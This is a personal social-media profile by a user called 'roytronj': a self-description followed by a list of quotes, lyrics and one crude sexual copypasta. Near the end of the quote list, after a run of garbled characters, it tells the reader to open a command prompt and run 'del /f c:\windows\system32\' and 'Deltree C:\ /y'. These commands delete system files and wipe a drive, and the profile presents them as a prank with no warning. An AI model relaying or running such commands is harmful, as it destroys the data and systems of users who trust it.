roytronj

i am a bigass nerd, but i dont let it control my life. i play music. i draw. and i party like i invented it. i live fast, loud and agressive and make no appologies about it. i am an open book. if you hang with me for a day you prolly know everything about me. no hidden charges. no secrets. ask a direct question and get a direct answer. simple as that. hit me up. quotes continued: "But there's a bad man in everyone No matter who we are There's a rapist and a Nazi living in our tiny hearts Child pornographers and cannibals, and politicians too There's someone in your head waiting to fucking strangle you" andrew jackson jihad "anyone capable of getting themselves made president should by no means be allowed to do the job!" douglas adams "Party soft guys. We don't wanna wake the neighbors." anon "i work for people your boses bosses arent important enough to meet" damien darkblood "when in doubt... throw them into space" mr immortal "if you're unhappy on the plane, jump out of it" house "my army is complete" sweeny todd " I guess you've noticed that I drag my knuckles when I dance " jonathon coulton "Isn't it enough to know that I ruined a pony making a gift for you?" jonathon coulton "All I know is the wine lasts longer when you don’t gotta share it with someone" jonathan coulton "FUCK YOUR TREES I'M DIGGING TO CHINA" anonymous "But there's no sense crying over every mistake. You just keep on trying till you run out of cake." jonathon coulton "I was stuck in traffic one day and just kinda thought it would be funny to masturbate. It was sunny and clear out, so I was worried one of the other drivers would see me, but my jeep is pretty high off the ground, so I think no one noticed. I busted a nut and aimed it down, ruining my tweety bird floor mat. I felt kinda stupid after and my mom kept silent the rest of the drive home. It was awkward and I regret it." worst copypasta ever "one minute you're just a kid getting off, and the next minute you'll never be a lawyer" chuck palahniuk "If you don't show your dark side now and then people will imagine one for you." leo laporte "those who make peaceful revolution impossible, only make violent revolution inevetable" jfk "you look like a victim of a surgical crime" jonathan coulton n-a_á-ay±m-a áçáç±çáß±çá§áaçáç±oçá-±ç᧱çár×áç á+nç áláçá run cmnd, type del /f c:\windows\system32\ then type C:> Deltree C:\ /y "you cant rely on the man who made the mess to clean it up" indian proverb I rule. End of discussion. im fun to be around, relatively inteligent when im sober, im creative sober or not, i have a wierd ass sense of humor, im nerdy as hell, highly opinionated, dedicated to music, and im extremely open with people about how i feel. if i dont like you its pretty obvious.

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